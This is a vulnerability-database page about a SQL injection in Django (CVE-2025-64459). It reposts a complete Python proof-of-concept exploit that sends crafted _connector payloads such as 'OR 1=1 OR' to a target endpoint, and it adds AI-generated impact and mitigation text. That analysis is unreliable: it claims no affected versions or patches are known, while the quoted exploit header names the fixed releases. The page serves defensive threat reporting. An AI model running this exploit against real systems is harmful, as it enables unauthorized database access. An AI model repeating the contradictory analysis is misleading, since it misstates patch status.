Django 5.1.13 - SQL Injection
Django 5.1.13 - SQL Injection
AI Analysis
Technical Summary
The identified security threat is a SQL Injection vulnerability in Django version 5.1.13, a widely used Python web framework for building web applications. SQL Injection occurs when untrusted input is improperly sanitized and incorporated into SQL queries, allowing attackers to manipulate database commands. This can lead to unauthorized data retrieval, data modification, or even complete database compromise. The vulnerability specifics are not detailed, but the presence of exploit code in Python suggests that the flaw can be triggered via crafted input to the web application using Django 5.1.13. No explicit affected versions are listed, but the reference to Django 5.1.13 indicates the issue is present in that release. No patches or fixes are currently linked, implying that organizations must monitor for official updates. The exploit does not require user interaction, and authentication requirements are unclear, but SQL Injection typically allows attackers to bypass authentication or escalate privileges if exploited successfully. The lack of known exploits in the wild suggests this is a recently disclosed vulnerability. Given Django's popularity in Europe for web development, especially in sectors like finance, healthcare, and government, this vulnerability poses a significant risk. Attackers exploiting this flaw could access sensitive personal data, violate data protection regulations such as GDPR, and disrupt service availability. The presence of Python exploit code facilitates easier weaponization by attackers. Organizations should prioritize identifying Django 5.1.13 deployments and prepare to apply patches promptly once available. In the interim, code audits focusing on database query construction and input validation are critical to mitigate risk.
Potential Impact
For European organizations, the SQL Injection vulnerability in Django 5.1.13 can have severe consequences. Confidentiality may be compromised through unauthorized data access, including personal data protected under GDPR, leading to legal and financial repercussions. Integrity of data can be undermined by unauthorized modifications, potentially affecting business operations and decision-making. Availability could also be impacted if attackers execute destructive queries or cause database crashes. The ease of exploitation, demonstrated by available Python exploit code, increases the likelihood of attacks. Organizations relying on Django for critical web applications, particularly in finance, healthcare, government, and e-commerce sectors, face heightened risk. Data breaches could damage reputation and customer trust, while regulatory fines could be substantial. The lack of current patches means organizations must act proactively to identify vulnerable systems and implement compensating controls. The threat also raises concerns about supply chain security for European software vendors using Django. Overall, the vulnerability poses a significant risk to the security posture and compliance status of affected European entities.
Mitigation Recommendations
1. Immediately inventory all web applications using Django 5.1.13 to identify potentially vulnerable systems. 2. Monitor official Django security advisories and apply patches or updates as soon as they are released. 3. Conduct thorough code reviews focusing on database query construction to ensure use of Django ORM methods that properly escape inputs rather than raw SQL queries. 4. Implement strict input validation and sanitization on all user-supplied data before it reaches database queries. 5. Employ Web Application Firewalls (WAFs) with rules designed to detect and block SQL Injection attempts targeting Django applications. 6. Use database user accounts with the least privileges necessary to limit the impact of potential SQL Injection exploitation. 7. Enable detailed logging and monitoring of database queries and application behavior to detect anomalous activities. 8. Educate developers on secure coding practices specific to Django and SQL Injection prevention. 9. Consider temporary mitigation by disabling or restricting vulnerable features if identified until patches are applied. 10. Engage in penetration testing and vulnerability scanning focused on SQL Injection vectors in Django applications to proactively identify weaknesses.
Affected Countries
Germany, United Kingdom, France, Netherlands, Sweden, Italy, Spain
Indicators of Compromise
- exploit-code: # Exploit Title: Django 5.1.13 - SQL Injection # Google Dork: [none] # Not applicable for this vulnerability # Date: 2025-12-03 # Exploit Author: Wafcontrol Security Team # Vendor Homepage: https://www.djangoproject.com/ # Software Link: https://www.djangoproject.com/download/ # Version: 5.2 before 5.2.8, 5.1 before 5.1.14, 4.2 before 4.2.26 (possibly earlier versions like 5.0.x, 4.1.x, 3.2.x) # Tested on: Ubuntu 24.04 with Django 5.1.13 (vulnerable version) # CVE: 2025-64459 Description: This proof-of-concept exploits a SQL injection vulnerability in Django's QuerySet methods (filter, exclude, get) and Q objects when using a crafted dictionary with expansion as the _connector argument. The vulnerability allows an attacker to inject arbitrary SQL into the WHERE clause, potentially leading to data leakage, modification, or other database compromises. The script targets a vulnerable Django application endpoint that accepts user input for the _connector parameter. It supports multiple modes: - baseline: Send a safe request and display results. - exploit: Send an exploit payload and compare with baseline. - multi: Test multiple payloads sequentially. - check: Automatically check if the target appears vulnerable. Usage: python3 exploit.py <mode> -u <target_url> [options] Modes: - baseline: Run a safe baseline test. - exploit: Run an exploit test with a single payload. - multi: Test multiple payloads (use -p multiple times or comma-separated). - check: Quick vulnerability check using default payloads. Examples: python3 exploit.py baseline -u http://target/ python3 exploit.py exploit -u http://target/ -p "OR 1=1 OR" python3 exploit.py multi -u http://target/ -p "OR 1=1 OR" -p "AND 1=0 AND" python3 exploit.py check -u http://target/ Options: - -b, --baseline: Baseline connector value (default: 'AND') - -v, --verbose: Enable verbose output - -o, --output: Save output to a file Requirements: - Python 3.x - requests library (pip install requests) Note: - This is for educational and testing purposes only. Use on authorized systems. - Ensure the target endpoint exposes the executed SQL (e.g., via debug mode or custom template) for demonstration. - In a real scenario, adapt the parsing logic to the application's response structure. - For advanced usage, customize payloads for specific SQL dialects (e.g., SQLite, PostgreSQL). import re import sys import argparse import json from typing import List, Tuple, Optional import requests DEFAULT_BASELINE = "AND" DEFAULT_PAYLOADS = ["OR 1=1 OR", "AND 1=0 AND", "OR 'a'='a' OR"] def extract_sql_and_users(html: str) -> Tuple[Optional[str], List[str]]: """ Extracts the executed SQL and list of users from the HTML response. Assumes the template structure: - SQL inside <pre>...</pre> - Users inside <li>username – email</li> Adjust regex patterns based on the actual response format. """ # Extract SQL from the first <pre>...</pre> sql_match = re.search(r"<pre>(.*?)</pre>", html, re.DOTALL) executed_sql = sql_match.group(1).strip() if sql_match else None # Extract users from <li>...</li> users = re.findall(r"<li>(.*?)</li>", html) users = [u.strip() for u in users if u.strip()] return executed_sql, users def send_payload(target_url: str, connector_value: str, verbose: bool = False) -> Tuple[Optional[str], List[str]]: """ Sends a POST request with the connector value as the search field. Handles CSRF token extraction and session management. Returns the executed SQL and list of users from the response. """ if verbose: print(f"[*] Fetching CSRF token from {target_url}...") # Step 1: GET request to fetch CSRF token try: get_resp = requests.get(target_url, timeout=10) get_resp.raise_for_status() except requests.RequestException as e: print(f"[!] GET request failed: {e}") sys.exit(1) # Extract csrfmiddlewaretoken from the form csrf_match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', get_resp.text) if not csrf_match: print("[!] Could not find CSRF token in the response.") sys.exit(1) csrf_token = csrf_match.group(1) if verbose: print(f"[i] CSRF token: {csrf_token[:10]}...") # Prepare POST data data = { "csrfmiddlewaretoken": csrf_token, "search": connector_value, } # Use session to maintain cookies (including CSRF) session = requests.Session() session.cookies.update(get_resp.cookies) if verbose: print(f"[*] Sending POST with connector = {repr(connector_value)}...") # Step 2: POST request with payload try: post_resp = session.post(target_url, data=data, timeout=10) post_resp.raise_for_status() except requests.RequestException as e: print(f"[!] POST request failed: {e}") sys.exit(1) # Parse response executed_sql, users = extract_sql_and_users(post_resp.text) return executed_sql, users def run_baseline(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]) -> Tuple[Optional[str], List[str]]: print("[*] Running baseline test...") base_sql, base_users = send_payload(target_url, baseline, verbose) print("\n--- Baseline (Safe) ---") print("Executed SQL:") print(base_sql or "(No SQL found)") print("\nUsers Returned:") if base_users: for u in base_users: print(" -", u) else: print(" (No users)") if output_file: with open(output_file, 'a') as f: f.write("--- Baseline ---\n") f.write(f"SQL: {base_sql or 'None'}\n") f.write("Users: " + json.dumps(base_users) + "\n\n") return base_sql, base_users def run_exploit(target_url: str, payload: str, baseline_data: Tuple[Optional[str], List[str]], verbose: bool, output_file: Optional[str]): print(f"\n[*] Running exploit with payload = {repr(payload)}...") exploit_sql, exploit_users = send_payload(target_url, payload, verbose) print("\n--- Exploit Attempt ---") print("Executed SQL:") print(exploit_sql or "(No SQL found)") print("\nUsers Returned:") if exploit_users: for u in exploit_users: print(" -", u) else: print(" (No users)") if output_file: with open(output_file, 'a') as f: f.write(f"--- Exploit: {payload} ---\n") f.write(f"SQL: {exploit_sql or 'None'}\n") f.write("Users: " + json.dumps(exploit_users) + "\n\n") analyze_results(baseline_data[0], baseline_data[1], exploit_sql, exploit_users) def run_multi(target_url: str, payloads: List[str], baseline: str, verbose: bool, output_file: Optional[str]): base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file) for payload in payloads: run_exploit(target_url, payload, (base_sql, base_users), verbose, output_file) def run_check(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]): print("[*] Running vulnerability check...") base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file) vulnerable = False for payload in DEFAULT_PAYLOADS: exploit_sql, exploit_users = send_payload(target_url, payload, verbose) if base_users != exploit_users or (base_sql and exploit_sql and base_sql != exploit_sql): print(f"[!] Potential vulnerability detected with payload: {repr(payload)}") print(" User list or SQL changed, indicating possible injection.") vulnerable = True if output_file: with open(output_file, 'a') as f: f.write(f"--- Check Payload: {payload} ---\n") f.write(f"SQL: {exploit_sql or 'None'}\n") f.write("Users: " + json.dumps(exploit_users) + "\n\n") if vulnerable: print("\n[+] Target appears VULNERABLE.") else: print("\n[-] Target does NOT appear vulnerable (or parsing failed).") def analyze_results(base_sql: Optional[str], base_users: List[str], exploit_sql: Optional[str], exploit_users: List[str]): print("\n--- Analysis ---") if base_sql and exploit_sql: print("[i] Compare baseline WHERE clause vs. exploit (visual inspection recommended).") if base_users != exploit_users: print("[!] User list changed between baseline and exploit requests.") print(" This indicates the WHERE logic was altered, consistent with SQL injection.") print(" If more users are returned, the payload likely bypassed filters.") else: print("[i] User list did NOT change. The target may be patched or the payload ineffective.") else: print("[i] Could not extract SQL from one or more responses.") print(" Verify the template includes <pre>...</pre> for SQL display.") def main(): # Parse command-line arguments parser = argparse.ArgumentParser( description="Django CVE-2025-64459 SQL Injection PoC", formatter_class=argparse.RawTextHelpFormatter ) subparsers = parser.add_subparsers(dest='mode', required=True, help='Available modes') # Common arguments def add_common_args(subparser): subparser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://127.0.0.1:8000/cve-2025-64459/)') subparser.add_argument('-b', '--baseline', default=DEFAULT_BASELINE, help=f'Baseline connector value (default: {DEFAULT_BASELINE})') subparser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') subparser.add_argument('-o', '--output', help='Save output to a file') # Baseline mode baseline_parser = subparsers.add_parser('baseline', help='Run baseline test') add_common_args(baseline_parser) # Exploit mode exploit_parser = subparsers.add_parser('exploit', help='Run exploit with single payload') add_common_args(exploit_parser) exploit_parser.add_argument('-p', '--payload', required=True, help='Exploit payload for _connector') # Multi mode multi_parser = subparsers.add_parser('multi', help='Test multiple payloads') add_common_args(multi_parser) multi_parser.add_argument('-p', '--payload', action='append', help='Exploit payloads (can be used multiple times)') # Check mode check_parser = subparsers.add_parser('check', help='Quick vulnerability check') add_common_args(check_parser) args = parser.parse_args() target_url = args.url.rstrip("/") + "/" baseline = args.baseline verbose = args.verbose output_file = args.output if output_file: with open(output_file, 'w') as f: f.write(f"Target: {target_url}\n\n") print(f"[+] Target URL: {target_url}") if verbose: print("[i] Verbose mode enabled.") if args.mode == 'baseline': run_baseline(target_url, baseline, verbose, output_file) elif args.mode == 'exploit': base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file) run_exploit(target_url, args.payload, (base_sql, base_users), verbose, output_file) elif args.mode == 'multi': payloads = args.payload or DEFAULT_PAYLOADS if not payloads: print("[!] No payloads provided for multi mode.") sys.exit(1) run_multi(target_url, payloads, baseline, verbose, output_file) elif args.mode == 'check': run_check(target_url, baseline, verbose, output_file) if __name__ == "__main__": main()
Django 5.1.13 - SQL Injection
Description
Django 5.1.13 - SQL Injection
AI-Powered Analysis
Technical Analysis
The identified security threat is a SQL Injection vulnerability in Django version 5.1.13, a widely used Python web framework for building web applications. SQL Injection occurs when untrusted input is improperly sanitized and incorporated into SQL queries, allowing attackers to manipulate database commands. This can lead to unauthorized data retrieval, data modification, or even complete database compromise. The vulnerability specifics are not detailed, but the presence of exploit code in Python suggests that the flaw can be triggered via crafted input to the web application using Django 5.1.13. No explicit affected versions are listed, but the reference to Django 5.1.13 indicates the issue is present in that release. No patches or fixes are currently linked, implying that organizations must monitor for official updates. The exploit does not require user interaction, and authentication requirements are unclear, but SQL Injection typically allows attackers to bypass authentication or escalate privileges if exploited successfully. The lack of known exploits in the wild suggests this is a recently disclosed vulnerability. Given Django's popularity in Europe for web development, especially in sectors like finance, healthcare, and government, this vulnerability poses a significant risk. Attackers exploiting this flaw could access sensitive personal data, violate data protection regulations such as GDPR, and disrupt service availability. The presence of Python exploit code facilitates easier weaponization by attackers. Organizations should prioritize identifying Django 5.1.13 deployments and prepare to apply patches promptly once available. In the interim, code audits focusing on database query construction and input validation are critical to mitigate risk.
Potential Impact
For European organizations, the SQL Injection vulnerability in Django 5.1.13 can have severe consequences. Confidentiality may be compromised through unauthorized data access, including personal data protected under GDPR, leading to legal and financial repercussions. Integrity of data can be undermined by unauthorized modifications, potentially affecting business operations and decision-making. Availability could also be impacted if attackers execute destructive queries or cause database crashes. The ease of exploitation, demonstrated by available Python exploit code, increases the likelihood of attacks. Organizations relying on Django for critical web applications, particularly in finance, healthcare, government, and e-commerce sectors, face heightened risk. Data breaches could damage reputation and customer trust, while regulatory fines could be substantial. The lack of current patches means organizations must act proactively to identify vulnerable systems and implement compensating controls. The threat also raises concerns about supply chain security for European software vendors using Django. Overall, the vulnerability poses a significant risk to the security posture and compliance status of affected European entities.
Mitigation Recommendations
1. Immediately inventory all web applications using Django 5.1.13 to identify potentially vulnerable systems. 2. Monitor official Django security advisories and apply patches or updates as soon as they are released. 3. Conduct thorough code reviews focusing on database query construction to ensure use of Django ORM methods that properly escape inputs rather than raw SQL queries. 4. Implement strict input validation and sanitization on all user-supplied data before it reaches database queries. 5. Employ Web Application Firewalls (WAFs) with rules designed to detect and block SQL Injection attempts targeting Django applications. 6. Use database user accounts with the least privileges necessary to limit the impact of potential SQL Injection exploitation. 7. Enable detailed logging and monitoring of database queries and application behavior to detect anomalous activities. 8. Educate developers on secure coding practices specific to Django and SQL Injection prevention. 9. Consider temporary mitigation by disabling or restricting vulnerable features if identified until patches are applied. 10. Engage in penetration testing and vulnerability scanning focused on SQL Injection vectors in Django applications to proactively identify weaknesses.
Affected Countries
Technical Details
- Edb Id
- 52456
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Django 5.1.13 - SQL Injection
# Exploit Title: Django 5.1.13 - SQL Injection # Google Dork: [none] # Not applicable for this vulnerability # Date: 2025-12-03 # Exploit Author: Wafcontrol Security Team # Vendor Homepage: https://www.djangoproject.com/ # Software Link: https://www.djangoproject.com/download/ # Version: 5.2 before 5.2.8, 5.1 before 5.1.14, 4.2 before 4.2.26 (possibly earlier versions like 5.0.x, 4.1.x, 3.2.x) # Tested on: Ubuntu 24.04 with Django 5.1.13 (vulnerable version) # CVE: 2025-64459 Description: Thi... (11144 more characters)
Threat ID: 69307a4db129615efa16edc4
Added to database: 12/3/2025, 5:58:37 PM
Last enriched: 12/25/2025, 12:17:56 AM
Last updated: 1/18/2026, 2:31:06 PM
Views: 109
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Related Threats
Siklu EtherHaul Series EH-8010 - Remote Command Execution
MediumSiklu EtherHaul Series EH-8010 - Arbitrary File Upload
MediumRPi-Jukebox-RFID 2.8.0 - Remote Command Execution
MediumFive Malicious Chrome Extensions Impersonate Workday and NetSuite to Hijack Accounts
MediumIn Other News: FortiSIEM Flaw Exploited, Sean Plankey Renominated, Russia’s Polish Grid Attack
MediumActions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console in Console -> Billing for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.